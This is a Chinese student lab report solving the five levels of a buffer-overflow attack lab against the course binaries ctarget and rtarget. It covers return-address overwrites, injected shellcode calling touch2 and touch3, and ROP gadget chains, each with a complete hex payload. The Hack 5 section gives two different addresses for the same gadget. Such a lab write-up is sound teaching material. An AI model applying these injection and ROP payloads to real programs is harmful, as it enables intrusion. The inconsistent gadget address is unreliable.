缓冲器溢出攻击实验报告

- 容逸朗 2020010869

Hack 1

1. 实验目的

- 利用 `objdump -d` 进行反汇编，了解程序在汇编层面上的运行方式
- 了解函数调用/被调用时的过程中栈的状态

2. 实验原理

对 `getbuf` 函数中字符串输入进行溢出攻击。

观察 `touch1` 函数：

```
void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}
```

注意此函数是不需要任何参数的，因此只需要使 `getbuf` 栈顶 `8` 位存放值改为 `touch1` 函数的地址。那么当函数 `getbuf` 返回时会直接进入 `touch1` ，实验完成。

3. 实验过程

首先对 `ctarget` 进行反汇编，找到 `getbuf` 和 `touch1` 的部分：

```
0000000000401819 <getbuf>:
  401819: 48 83 ec 28           sub    $0x28,%rsp
  40181d: 48 89 e7              mov    %rsp,%rdi
  401820: e8 94 02 00 00        callq  401ab9 <Gets>
  401825: b8 01 00 00 00        mov    $0x1,%eax
  40182a: 48 83 c4 28           add    $0x28,%rsp
  40182e: c3                    retq

000000000040182f <touch1>:
  40182f: 48 83 ec 08           sub    $0x8,%rsp
  ...
  401858: e8 d3 f5 ff ff        callq  400e30 <exit@plt>
```

我们可以看见以下几个有用条件：

1. `Gets` 函数每次读入的字符上限为 `0x28 = 40` 字符
2. `touch1` 的地址为 `0x40182f`

由于 `touch1` 函数不需要参数，因此我们只需要复盖栈顶的返回地址即可。故先用 `00` （或其他除换行符 `0x0a` 以外的字符）填充 `40` 字符，再填上 `touch1` 的地址（需要注意存储方式是低字节的）。

这时运行栈如下：

低位地址	内容（左高右低）	解释
`(%rsp)`	00 00 00 00 00 40 18 2f	用 `touch1` 的地址覆盖原来的反回地址
`-8(%rsp)`	00 00 00 00 00 00 00 00	
`-16(%rsp)`	00 00 00 00 00 00 00 00	
`-24(%rsp)`	00 00 00 00 00 00 00 00	
`-32(%rsp)`	00 00 00 00 00 00 00 00	
`-40(%rsp)`	00 00 00 00 00 00 00 00	缓冲区首位

最终答案：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
2f 18 40 00 00 00 00 00
```

Hack 2

1. 实验目的

- 了解 `x86-64` 传参的一些约定与方式，如 `%rdi` 是传入函数的第一个参数
- 学习使用 `gdb` 调试程序

2. 实验原理

与 `Hack 1` 相同，需要对 `getbuf` 函数中的字符串进行溢出攻击。

观察 `touch2` 函数：

```
void touch2(unsigned val)
{
    vlevel = 2;       /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n",val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n",val);
        fail(2);
    }
    exit(2);
}
```

注意到 `touch2` 需要一个参数且值为 `cookie` ，因此需要在溢出攻击同时在寄存器 `%rdi` 中存放 `cookie` 的值。由于只能使用 `retq` 指令而不能使用 `jmp` 和 `call` 指令作跳转，故需要改变策略，使 `getbuf` 直接返回到输入字符串的首地址，这时只要在输入流中注入代码就可以到达 `touch2` 。

由于栈地址是固定的，因此可以利用 `gdb` 运行程序，将栈地址取出。

3. 实验过程

首先需要取出 `getbuf` 处寄存器 `%rsp` 的地址，因此需要利用 `gdb` 进行调试：

- 第一步用 `(gdb) break getbuf` 在 `getbuf` 处增加断点
- 第二步用 `(gdb) run -q` 执行程序
- 第三步用 `(gdb) info registers rsp` 取出 `%rsp` 的地址

最终得到 `%rsp` 地址 `0x55606730` （以及 `cookie` 为 `0x3622dd86` ）

```
(gdb) break getbuf
Breakpoint 1 at 0x401819: file buf.c, line 12.
(gdb) run -q
Starting program: /home/2020010869/ctarget -q
Cookie: 0x3622dd86
Breakpoint 1, getbuf () at buf.c:12
(gdb) info registers rsp
rsp            0x55606730       0x55606730
```

由于栈顶地址为 `0x55606730` 故输入字符串的首地址为此地址减去 `0x28` ，得到：`0x55606708` 。

在反汇编代码寻找 `touch2` 的地址：`0x40185d`

```
000000000040185d <touch2>:
  40185d: 48 83 ec 08           sub    $0x8,%rsp
  ...
  4018bf: eb d4                 jmp    401895 <touch2+0x38>
```

接下来编写注入代码：

- 先用 `pushq $0x40185d` 将 `touch2` 的地址压栈。
- 再用 `mov $0x3622dd86, %rdi` 将 `cookie: 0x3622dd86` 的值放入 `%rdi` 寄存器。
- 最後用 `retq` 返回到 `touch2` 函数。

```
pushq $0x40185d
mov $0x3622dd86, %rdi
retq
```

先将函数编绎，再将其反汇编：

```
$ gcc -c cmd.s -o cmd.o
$ objdump -d cmd.o
```

得到：

```
0000000000000000 <.text>:
  0:  68 5d 18 40 00         pushq  $0x40185d
  5:  48 c7 c7 86 dd 22 36   mov    $0x3622dd86,%rdi
  c:  c3                     retq
```

将这段代码放入字符串缓冲区中，其余位置补 `00` ，使其到达 `40` 位，再补上缓冲区首地址 `0x55606708` ，这时运行栈如下：

低位地址	内容（左高右低）	解释
`0x55606730`	00 00 00 00 55 60 67 08	用缓冲区首地址覆盖原来的反回地址
`0x55606728`	00 00 00 00 00 00 00 00	
`0x55606720`	00 00 00 00 00 00 00 00	
`0x55606718`	00 00 00 00 00 00 00 00	
`0x55606710`	00 00 00 c3 36 22 dd 86	
`0x55606708`	c7 c7 48 00 40 18 5d 68	缓冲区首位，注入代码

最终答案：

```
68 5d 18 40 00 48 c7 c7
86 dd 22 36 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
08 67 60 55 00 00 00 00
```

4. 其他问题

使用 `gdb` 调试程序时，曾经出现如下错误：

```
(gdb) run
Starting program: /home/2020010869/ctarget
FAILED: Initialization error: Running on an illegal host [hp]
[Inferior 1 (process 97752) exited with code 010]
```

这是由于执行 `run` 没有使用参数 `-q` ，运行时会提交到服务器会出现错误。

Hack 3

1. 实验目的

- 了解 `x86-64` 中传递数组的方式

2. 实验原理

与 `Hack 2` 相同，需要对 `getbuf` 函数中的字符串进行溢出攻击。

观察 `touch3` 函数：

```
void touch3(char *sval)
{
    vlevel = 3;       /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
```

注意到 `touch3` 需要的参数为一个字符串，并且调用了 `hexmatch` 函数。

观察 `hexmatch` 函数：

```
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
```

可以看到 `hexmatch` 会把字符串内的数据和 `val = cookie` 作比较。

和 `hack 2` 类似，需要把 `cookie` 的值放入一个字符串，并将字符串的首地址传入 `touch3` 函数便可。

3. 实验过程

由于实验文件和 `hack 2` 是相同的，因此 `cookie = 0x3622dd86` 和栈顶地址 `0x55606730` 以及缓冲区首地址 `0x55606708` 是不变的。

同样地，先找到反汇编代码中 `touch3` 的地址：`0x401974`

```
0000000000401974 <touch3>:
  401974: 53                    push   %rbx
  ...
  4019e4: eb d1                 jmp    4019b7 <touch3+0x43>
```

因为要传入的字符串是储存在栈顶高 `8` 位地址的（原因可见 `4.2 遇到的问题` 一节），所以要计算字符串的位置：`0x55606730 + 0x08 = 0x55606738` 。

然后可以编写注入代码：

- 先用 `pushq $0x401974` 将 `touch3` 的地址压栈。
- 再用 `mov $0x55606738, %rdi` 将存有 `cookie` 的字符串首地址放入 `%rdi` 寄存器。
- 最後用 `retq` 返回到 `touch3` 函数。

```
pushq $0x401974
mov $0x55606738, %rdi
retq
```

先将函数编绎，再将其反汇编：

```
$ gcc -c cmd.s -o cmd.o
$ objdump -d cmd.o
```

得到：

```
0000000000000000 <.text>:
  0:  68 74 19 40 00        pushq  $0x401974
  5:  48 c7 c7 38 67 60 55  mov    $0x55606738,%rdi
  c:  c3                    retq
```

最后把 `cookie = 0x3622dd86` 转换为 `ascii` 字符串：`33 36 32 32 64 64 38 36`

将以上代码补上 `00` 至 `40` 位，加上跳转位置（缓冲区首位）和转换好的字符串，得到：

```
68 74 19 40 00 48 c7 c7
38 67 60 55 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
08 67 60 55 00 00 00 00
33 36 32 32 64 64 38 36
```

低位地址	内容（左高右低）	解释
`0x55606738`	36 38 64 64 32 32 36 33	要注入的字符串
`0x55606730`	00 00 00 00 55 60 67 08	用缓冲区首地址覆盖原来的反回地址
`0x55606728`	00 00 00 00 00 00 00 00	
`0x55606720`	00 00 00 00 00 00 00 00	
`0x55606718`	00 00 00 00 00 00 00 00	
`0x55606710`	00 00 00 c3 55 60 67 38	
`0x55606708`	c7 c7 48 00 40 19 74 68	缓冲区首位，注入代码

4. 其他

最开始的时候，我按照 `hack 2` 的思路进时攻击，在缓冲区内放入了字符串，如下所示：

```
68 74 19 40 00 48 c7 c7
28 67 60 55 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
33 36 32 32 64 64 38 36
08 67 60 55 00 00 00 00
```

但测试的时候却提示我输入了字符串 `@` ：

```
$ cat 3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x3622dd86
Type string:Misfire: You called touch3("@")
```

导致这个问题的原因在于执行 `hexmatch` 时会清空缓冲区的内容，因此存放在里边的数据便会变成奇怪的东西。因此我把字符串数据放到栈顶高 `8` 位的地址，问题解决。

Hack 4

1. 实验目的

- 了解 `x86-64` 函数跳转的方式
- 了解 `x86-64` 的程序的运行方法（当遇到 `c3` 时便会跳转，否则读入指令进行操作）
- 加强对 `popq` 等命令的理解

2. 实验原理

与前三个任务不同，`Hack 4` 不允许在字符串中注入代码。只允许通过一系列的 `rtn` 操作执行已有的命令。

和 `Hack 2` 相同，`touch2` 函数需要接收一个值为 `cookie` 的参数。因此需要将 `cookie` 的值放入 `%rdi` 中，为此需要在反汇編文件中找到诸如 `89 c7` 或 `5f` 的代码段来进行数据移动和存参操作。

3. 实验过程

首先对 `rtarget` 进行反汇编，找到 `touch2` 的地址：`0x40185d` 。

```
000000000040185d <touch2>:
  40185d: 48 83 ec 08           sub    $0x8,%rsp
  ...
  4018bf: eb d4                 jmp    401895 <touch2+0x38>
```

要将数据传入寄存器，可以使用 `popq` 或 `movl` / `movq` 等指令。其中可以使用 `popq` 的指令为于 `58` 至 `5f` 之间，在 `start_farm` 和 `mid_farm` 之间搜索可以发现只有指令 `58` （即 `popq %rax` ）是可以利用的，该指令可以在 `setval_346` 中找到：

```
0000000000401a2b <getval_346>:
  401a2b: b8 2b 26 58 90        mov    $0x9058262b,%eax
  401a30: c3                    retq
```

其中的 `58 90 c3` 代表（`90` 为无操作）：

```
58    popq %rax
90    nop
c3    retq
```

即可以把栈顶数据放入 `%rax` 中，其地址为 `0x401a2e` 。此时栈状态如下：

低位地址	内容（左高右低）	解释
`8(%rsp)`	00 00 00 00 36 22 dd 86	要放入 `%rax` 的数据放于栈顶
`(%rsp)`	00 00 00 00 00 40 1a 2e	栈顶 `%rsp` 的位置，跳转到 `popq %rax`
`-8(%rsp)`	00 00 00 00 00 00 00 00	缓冲区最后8位

我们还需要一个 `movq %rax %rdi` 来把数据放入 `%rdi` 中，故需要在 `start_farm` 和 `mid_farm` 之间搜索指令 `48 89 c7` ，发现 `getval_470` 正好符合需求：

```
0000000000401a3e <getval_470>:
  401a3e: b8 48 89 c7 c3        mov    $0xc3c78948,%eax
  401a43: c3                    retq
```

有用的代码为 `48 89 c7 c3` ，首地址为 `0x401a3f` ：

```
48 89 c7  movq %rax, %rdi
c3        retq
```

执行此命令前，栈状态如下：

低位地址	内容（左高右低）	解释
`(%rsp)`	00 00 00 00 00 40 1a 3f	栈顶 `%rsp` 位置，跳转到 `movq %rax, %rdi`
`-8(%rsp)`	00 00 00 00 36 22 dd 86	放入 `%rax` 的数据
`-16(%rsp)`	00 00 00 00 00 40 1a 2e	跳转到 `popq %rax`
`-24(%rsp)`	00 00 00 00 00 00 00 00	缓冲区最后8位

缓冲区填入 `40` 位的 `00` ，并且在最后的位置放入目的地 `touch2` 的地址，得到：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
2e 1a 40 00 00 00 00 00
86 dd 22 36 00 00 00 00
3f 1a 40 00 00 00 00 00
5d 18 40 00 00 00 00 00
```

4. 其他

4.1 一些无用的发现

在实验的过程中，其实有不少 `gadget` 可以做到相同的操作效果。例如 `<setval_434>` ， `<getval_346>` ， `<getval_290>` 等，他们都有命令 `58 c3` 可用于 `popq %rax` 。

4.2 想法与技巧

`Hack 4` 的目标十分明确，我们只需要把值放进 `%rdi` 便可以了，查阅 `attacklab.pdf` 便会找到数值仅能通过 `popq %rax` 传入，因此需要再找一个指令把 `%rax` 的数值放入 `%rdi` ，此时问题便得到解决了。

Hack 5

1. 实验目的

- 进一步理解运行栈的执行模式
- 熟练掌握堆栈传参方法

2. 实验原理

和 `Hack 3` 类似，不过栈顶位置不再固定。想要得到字符串存放的具体位置，就需要先把栈顶位置取出，故需要找到 `movq %rsp <>` 命令，然后加上一定的偏移量到达字符串存放的具体位置，再将此位置传入寄存器 `%rdi` 便可。

由于题目不允许使用诸如 `add` 此类的命令，因此只能使用反汇编中的 `add_xy` 函数：

```
0000000000401a51 <add_xy>:
  401a51: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax
  401a55: c3                    retq
```

注意到这个函数只能计算 `%rdi` 和 `%rsi` 的和并传入 `%rax` 中，因此我们还需要一些命令把得到的栈地址和立即数转移到 `%rdi` 和 `%rsi` 。

3. 实验过程

先找到反汇编代码中 `touch3` 的地址：`0x401974`

```
0000000000401974 <touch3>:
  401974: 53                    push   %rbx
  ...
  4019e4: eb d1                 jmp    4019b7 <touch3+0x43>
```

然后在 `start_farm` 和 `end_farm` 之间寻找 `movq %rsp <>` 命令，幸运地，我们找到了 `setval_275` ：

```
0000000000401a6a <setval_275>:
  401a6a: c7 07 e7 48 89 e0     movl   $0xe08948e7,(%rdi)
  401a70: c3                    retq
```

我们需要的部分是：`48 89 e0 c3` ，地址为：`0x401a6d` ，指令意义如下：

```
48 89 e0  movq %rsp, %rax
c3        retq
```

栈状态如下：

低位地址	内容（左高右低）	解释
`(%rsp)`	00 00 00 00 00 40 1a 6d	栈顶 `%rsp` 位置，跳转到 `movq %rsp, %rax`
`-8(%rsp)`	00 00 00 00 00 00 00 00	缓冲区最后8位

由 `Hack 4` 的讨论知我们可以通过 `getval_470` 把 `%rax` 的数值传入 `%rdi` 中：

```
0000000000401a3e <getval_470>:
  401a3e: b8 48 89 c7 c3        mov    $0xc3c78948,%eax
  401a43: c3                    retq
```

有用的代码为 `48 89 c7 c3` ，首地址为 `0x401a3f` ：

```
48 89 c7  movq %rax, %rdi
c3        retq
```

执行此命令前，栈状态如下：

低位地址	内容（左高右低）	解释
`(%rsp)`	00 00 00 00 00 40 1a 3f	栈顶 `%rsp` 位置，跳转到 `movq %rax, %rdi`
`-8(%rsp)`	00 00 00 00 00 40 1a 6d	跳转到 `movq %rsp, %rax`
`-16(%rsp)`	00 00 00 00 00 00 00 00	缓冲区最后8位

由 `2. 实验原理` 的讨论知，我们还需要把一个偏移量放入 `%rsi` 中。经搜索，存在一条路径 `%eax` -> `%edx` -> `%ecx` -> `%esi` 满足条件。不过在此之前，需要把立即数放入寄存器 `%rax` 中，由 `Hack 4` 的讨论可知 `setval_346` 符合条件：

```
0000000000401a2b <getval_346>:
  401a2b: b8 2b 26 58 90        mov    $0x9058262b,%eax
  401a30: c3                    retq
```

需要用到 `58 90 c3` ，地址为 `0x401a2e` 。此时栈状态如下：

低位地址	内容（左高右低）	解释
`8(%rsp)`	待定	偏移量，放入 `%rax` 的数据放于栈顶
`(%rsp)`	00 00 00 00 00 40 1a 2e	栈顶 `%rsp` 位置，跳转到 `popq %rax`
`-8(%rsp)`	00 00 00 00 00 40 1a 3f	跳转到 `movq %rax, %rdi`
`-16(%rsp)`	00 00 00 00 00 40 1a 6d	跳转到 `movq %rsp, %rax`

要达成传递路径 `%eax` -> `%edx` -> `%ecx` -> `%esi` 需要以下三个函数：

```
0000000000401b09 <setval_322>:
  401b09: c7 07 89 c2 20 c9     movl   $0xc920c289,(%rdi)
  401b0f: c3                    retq

0000000000401a78 <getval_344>:
  401a78: b8 66 eb 89 d1        mov    $0xd189eb66,%eax
  401a7d: c3                    retq

0000000000401a8b <getval_171>:
  401a8b: b8 89 ce 90 90        mov    $0x9090ce89,%eax
  401a90: c3                    retq
```

分别利用了以下命令：

```
89 c2     movl %eax, %edx    /*首地址为 0x401b0b*/
20 c9     andb %cl, %cl      /*此操作不影响数据本身*/
c3        retq

89 d1     movl %edx, %ecx    /*首地址为 0x401a7b*/
c3        retq

89 ce     movl %ecx, %esi    /*首地址为 0x401a8c*/
90        nop                /*无操作*/
90        nop
c3        retq
```

调用指令前栈状态如下：

低位地址	内容（左高右低）	解释
`16(%rsp)`	00 00 00 00 00 40 1a 8c	跳转到 `movl %ecx, %esi`
`8(%rsp)`	00 00 00 00 00 40 1a 7b	跳转到 `movl %edx, %ecx`
`(%rsp)`	00 00 00 00 00 40 1b 0b	栈顶 `%rsp` 位置，跳转到 `movl %eax, %edx`
`-8(%rsp)`	待定	放入 `%rax` 的数据（偏移量）
`-16(%rsp)`	00 00 00 00 00 40 1a 2e	跳转到 `popq %rax`
`-24(%rsp)`	00 00 00 00 00 40 1a 3f	跳转到 `movq %rax, %rdi`
`-32(%rsp)`	00 00 00 00 00 40 1a 6d	跳转到 `movq %rsp, %rax`

然后调用 `add_xy`（`0x401a51`）进行加法，再把返回值从 `%rax` 放回 `%rdi` 中（与栈中第二行相同，地址 `0x401a3f`），最后调用 `touch3`（`0x401974`）以及把字符串压栈。

执行 `touch3` 前的栈状态为：

低位地址	内容（左高右低）	解释
`8(%rsp)`	36 38 64 64 32 32 36 33	字符串放于栈顶
`(%rsp)`	00 00 00 00 00 40 19 74	栈顶 `%rsp` 位置，跳转到 `touch3` 函数
`-8(%rsp)`	00 00 00 00 00 40 1a 26	跳转到 `movq %rax, %rdi`
`-16(%rsp)`	00 00 00 00 00 40 1a 51	跳转到 `lea (%rdi, %rsi, 1), %rax`
`-24(%rsp)`	00 00 00 00 00 40 1a 8c	跳转到 `movl %ecx, %esi`
`-32(%rsp)`	00 00 00 00 00 40 1a 7b	跳转到 `movl %edx, %ecx`
`-40(%rsp)`	00 00 00 00 00 40 1b 0b	跳转到 `movl %eax, %edx`
`-48(%rsp)`	待定	放入 `%rax` 的数据（偏移量）
`-56(%rsp)`	00 00 00 00 00 40 1a 2e	跳转到 `popq %rax`
`-64(%rsp)`	00 00 00 00 00 40 1a 3f	跳转到 `movq %rax, %rdi`
`-72(%rsp)`	00 00 00 00 00 40 1a 6d	跳转到 `movq %rsp, %rax`

在执行第一行的命令后，我们得到了当时栈顶的位置（由于进入函数前调用了 `retq` ，故栈顶向上移 `8` 位指向下一条命令，所以此位置为 `getbuf` 的栈顶加 `8` 的位置，相当于上方栈的 `-64(%rsp)` 位置），而此数值与字符串所在的 `8(%rsp)` 相差了 `72` 位，故第四行的偏移量应为 `0x48` 。

补上缓冲区的 `40` 位，得到答案：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
6d 1a 40 00 00 00 00 00
3f 1a 40 00 00 00 00 00
2e 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
0b 1b 40 00 00 00 00 00
7b 1a 40 00 00 00 00 00
8c 1a 40 00 00 00 00 00
51 1a 40 00 00 00 00 00
26 1a 40 00 00 00 00 00
74 19 40 00 00 00 00 00
33 36 32 32 64 64 38 36
```

4. 其他

4.1 一些小问题

最开始计算偏移量时，我取了 `72 + 8 = 80` 位，但结果错误。其原因在于函数执行 `movq %rsp, %rax` 时栈顶指针已经指向下一条命令，故 `72` 才是正确的偏移量。

4.2 思路与技巧

`Hack 5` 的切入角度较难想到，但只要留意到求字串地址需要增加偏移量的部分，就可以找到函数 `add_xy` ，从中又能找到要把值存放于 `%rdi` 和 `%rsi` 之中，然后可以在 `attacklab.pdf` 中对照表格找出一条传递路径，此时 `Hack 5` 便迎刃而解了。